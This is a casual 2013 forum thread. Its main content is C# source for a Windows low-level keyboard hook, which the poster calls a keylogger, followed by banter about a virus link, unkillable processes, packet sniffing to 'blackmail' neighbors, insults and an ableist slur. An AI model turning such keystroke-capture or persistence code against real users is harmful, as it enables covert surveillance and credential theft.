View Full Version : yea its a keylogger
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
use linux
http://i.imgur.com/Ikb4OZE.png
using System;
using System.Collections.Generic;
using System.Text;
namespace KHook
{
public class KeyboardHook : IDisposable
{
#region Events
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
public delegate void HookEventHandler(object sender, KeyboardHookEventArgs e);
public event HookEventHandler KeyDown;
public event HookEventHandler KeyUp;
#endregion
#region Constants
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int WM_SYSKEYDOWN = 0x0104;
private LowLevelKeyboardProc _proc = null;
private static IntPtr _hookID = IntPtr.Zero;
#endregion
#region Imports
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
#endregion
#region Constructor
public KeyboardHook()
{
_proc = new LowLevelKeyboardProc(HookCallback);
_hookID = SetHook(_proc);
}
#endregion
#region Methods
private IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
//if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
{
int vkCode = Marshal.ReadInt32(lParam);
WinForms.Keys key = (WinForms.Keys)vkCode;
if (this.KeyDown != null)
this.KeyDown(this, new KeyboardHookEventArgs(vkCode));
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
#endregion
#region Destructor
public void Dispose()
{
UnhookWindowsHookEx(_hookID);
}
#endregion
}
}
Hasbinbad
06-13-2013, 04:10 PM
i like how you've left the steak tab open.. i really do recommend doing it.
Hasbinbad
06-13-2013, 04:14 PM
so i forgot if i clicked on salty's virus link or not, how do I find the keylogger and kill it if i have it?
I made this helpful tutorial to remove it
http://www.youtube.com/watch?v=k9u67u82a74
HOW TO SPAWN CHILDREN THAT CANNOT BE KILLED
http://stackoverflow.com/questions/17096294/spawn-nonchild-process-that-cannot-be-killed-by-process-tree
Lubian
06-13-2013, 04:36 PM
Oh amazing you learned how to do a PInvoke and copy and paste code.</sarcasm>
Really, you need to stop posting and embarrassing yourself.
Well at least you win the award for getting the most downvotes I've seen for a SO question in 15 minutes.
Ishukone
06-13-2013, 04:38 PM
shut the fuck up nerd
haha yea I was just commenting on irc.rizon.net #p99 about how many downvotes and it still isnt closed yet
Nirgon
06-13-2013, 04:38 PM
lawled
I think it was a related Tom Petty that I clicked while drunk
not a bad song tho
Ishukone
06-13-2013, 04:45 PM
naez stop hackan me
Hasbinbad
06-13-2013, 04:51 PM
Who the fuck is this idiot biting on DJ Yella style?
Ishukone
06-13-2013, 04:55 PM
http://puu.sh/3f2eK
Hasbinbad
06-13-2013, 04:56 PM
the only yella was on stage with E
<object width="420" height="315"><param name="movie" value="http://www.youtube.com/v/EcBquc8qZRo?hl=en_US&version=3&rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/EcBquc8qZRo?hl=en_US&version=3&rel=0" type="application/x-shockwave-flash" width="420" height="315" allowscriptaccess="always" allowfullscreen="true"></embed></object>
Hasbinbad
06-13-2013, 04:56 PM
wtf
https://www.youtube.com/watch?v=EcBquc8qZRo
rogean disabled html after salty did the ********************** hack
^hahahah I like that it gets censored
sniffin jeremys packets of death
the ol aircrack n wireshark is how i blackmail my neighbors
Hasbinbad
06-13-2013, 05:49 PM
i got ur IP rellapse 192.168.1.254 now i will hack u
Hasbinbad
06-13-2013, 05:50 PM
FIRING LAZERZ @ 192.168.1.254
Hasbinbad
06-13-2013, 05:51 PM
just wait till i put this out on twitter
ima chargin my assburgers
all ur bank r belong 2 me
vBulletin® v3.8.11, Copyright ©2000-2025, vBulletin Solutions Inc.